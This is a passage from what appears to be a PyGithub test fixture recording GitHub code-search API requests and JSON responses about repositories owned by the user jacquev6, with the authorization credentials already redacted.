_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":30.706871},{"name":"index.html","path":"docs/index.html","sha":"e6f60e9a383e87e0e3bdd320143b42131a637374","url":"https://api.github.com/repositories/40665572/contents/docs/index.html?ref=53100a3be0a782dda81abeb44d9700fcce95b141","git_url":"https://api.github.com/repositories/40665572/git/blobs/e6f60e9a383e87e0e3bdd320143b42131a637374","html_url":"https://github.com/jacquev6/Pynamixel/blob/53100a3be0a782dda81abeb44d9700fcce95b141/docs/index.html","repository":{"id":40665572,"node_id":"MDEwOlJlcG9zaXRvcnk0MDY2NTU3Mg==","name":"Pynamixel","full_name":"jacquev6/Pynamixel","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Pynamixel","description":"Python library to use Robotis Dynamixel servos","fork":false,"url":"https://api.github.com/repos/jacquev6/Pynamixel","forks_url":"https://api.github.com/repos/jacquev6/Pynamixel/forks","keys_url":"https://api.github.com/repos/jacquev6/Pynamixel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Pynamixel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Pynamixel/teams","hooks_url":"https://api.github.com/repos/jacquev6/Pynamixel/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Pynamixel/events","assignees_url":"https://api.github.com/repos/jacquev6/Pynamixel/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Pynamixel/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/tags","blobs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Pynamixel/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Pynamixel/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Pynamixel/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Pynamixel/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscription","commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Pynamixel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Pynamixel/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Pynamixel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Pynamixel/merges","archive_url":"https://api.github.com/repos/jacquev6/Pynamixel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Pynamixel/downloads","issues_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Pynamixel/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Pynamixel/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Pynamixel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Pynamixel/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Pynamixel/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Pynamixel/deployments"},"score":30.567461},{"name":"index.html","path":"docs/index.html","sha":"8ca909d8491abfbc39058d33b5e89e14b5baf1c6","url":"https://api.github.com/repositories/34715715/contents/docs/index.html?ref=2177eaa753a518b4c7c7f4b28e955b2c81b30925","git_url":"https://api.github.com/repositories/34715715/git/blobs/8ca909d8491abfbc39058d33b5e89e14b5baf1c6","html_url":"https://github.com/jacquev6/variadic/blob/2177eaa753a518b4c7c7f4b28e955b2c81b30925/docs/index.html","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":30.565767},{"name":"search.html","path":"docs/search.html","sha":"8d0121aad54dcd0af48dceb0b9117cb33aad7a16","url":"https://api.github.com/repositories/100627412/contents/docs/search.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/8d0121aad54dcd0af48dceb0b9117cb33aad7a16","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/search.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"user_guide.html","path":"docs/user_guide.html","sha":"cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","url":"https://api.github.com/repositories/100627412/contents/docs/user_guide.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/user_guide.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"index.html","path":"docs/index.html","sha":"b28fd3e041d41dfb3d2c68c93969ce2c32521480","url":"https://api.github.com/repositories/6518903/contents/docs/index.html?ref=16a493a59c2e22812c8b4545b11be4b6ca4e38d3","git_url":"https://api.github.com/repositories/6518903/git/blobs/b28fd3e041d41dfb3d2c68c93969ce2c32521480","html_url":"https://github.com/jacquev6/ActionTree/blob/16a493a59c2e22812c8b4545b11be4b6ca4e38d3/docs/index.html","repository":{"id":6518903,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTAz","name":"ActionTree","full_name":"jacquev6/ActionTree","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/ActionTree","description":"Python library executing long concurrent actions with inter-dependencies","fork":false,"url":"https://api.github.com/repos/jacquev6/ActionTree","forks_url":"https://api.github.com/repos/jacquev6/ActionTree/forks","keys_url":"https://api.github.com/repos/jacquev6/ActionTree/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/ActionTree/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/ActionTree/teams","hooks_url":"https://api.github.com/repos/jacquev6/ActionTree/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/ActionTree/events","assignees_url":"https://api.github.com/repos/jacquev6/ActionTree/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/ActionTree/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/ActionTree/tags","blobs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/ActionTree/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/ActionTree/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/ActionTree/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/ActionTree/languages","stargazers_url":"https://api.github.com/repos/jacquev6/ActionTree/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/ActionTree/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/ActionTree/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/ActionTree/subscription","commits_url":"https://api.github.com/repos/jacquev6/ActionTree/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/ActionTree/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/ActionTree/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/ActionTree/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/ActionTree/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/ActionTree/merges","archive_url":"https://api.github.com/repos/jacquev6/ActionTree/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/ActionTree/downloads","issues_url":"https://api.github.com/repos/jacquev6/ActionTree/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/ActionTree/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/ActionTree/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/ActionTree/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/ActionTree/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/ActionTree/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/ActionTree/deployments"},"score":30.453337}]} https GET api.github.com None /search/code?q=jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Oct 2018 06:16:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '28'), ('X-RateLimit-Reset', '1540275467'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '60B3:2CA0:426F14B:8BBD6CC:5BCEBCCF')] {"total_count":31140,"incomplete_results":false,"items":[{"name":"DESCRIPTION.rst","path":"ActionTree-0.11.0.dist-info/DESCRIPTION.rst","sha":"1c462fbf2ae5e3b5fca2e8b1ccdbdd4db0678412","url":"https://api.github.com/repositories/102808884/contents/ActionTree-0.11.0.dist-info/DESCRIPTION.rst?ref=5668b5785296b314ea1321057420bcd077dba9ea","git_url":"https://api.github.com/repositories/102808884/git/blobs/1c462fbf2ae5e3b5fca2e8b1ccdbdd4db0678412","html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs/blob/5668b5785296b314ea1321057420bcd077dba9ea/ActionTree-0.11.0.dist-info/DESCRIPTION.rst","repository":{"id":102808884,"node_id":"MDEwOlJlcG9zaXRvcnkxMDI4MDg4ODQ=","name":"macHighSierra-py36-pkgs","full_name":"EnjoyLifeFund/macHighSierra-py36-pkgs","private":false,"owner":{"login":"EnjoyLifeFund","id":28683176,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4NjgzMTc2","avatar_url":"https://avatars2.githubusercontent.com/u/28683176?v=4","gravatar_id":"","url":"https://api.github.com/users/EnjoyLifeFund","html_url":"https://github.com/EnjoyLifeFund","followers_url":"https://api.github.com/users/EnjoyLifeFund/followers","following_url":"https://api.github.com/users/EnjoyLifeFund/following{/other_user}","gists_url":"https://api.github.com/users/EnjoyLifeFund/gists{/gist_id}","starred_url":"https://api.github.com/users/EnjoyLifeFund/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnjoyLifeFund/subscriptions","organizations_url":"https://api.github.com/users/EnjoyLifeFund/orgs","repos_url":"https://api.github.com/users/EnjoyLifeFund/repos","events_url":"https://api.github.com/users/EnjoyLifeFund/events{/privacy}","received_events_url":"https://api.github.com/users/EnjoyLifeFund/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs","description":null,"fork":false,"url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs","forks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/forks","keys_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/teams","hooks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/hooks","issue_events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/events{/number}","events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/events","assignees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/assignees{/user}","branches_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/branches{/branch}","tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/tags","blobs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/statuses/{sha}","languages_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/languages","stargazers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/stargazers","contributors_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contributors","subscribers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscribers","subscription_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscription","commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contents/{+path}","compare_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/merges","archive_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/downloads","issues_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues{/number}","pulls_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/pulls{/number}","milestones_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/milestones{/number}","notifications_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/labels{/name}","releases_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/releases{/id}","deployments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/deployments"},"score":33.244354},{"name":"README.rst","path":"README.rst","sha":"4205af5188855e0def0132920f3d289e2e058e8e","url":"https://api.github.com/repositories/100627412/contents/README.rst?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/4205af5188855e0def0132920f3d289e2e058e8e","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/README.rst","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml 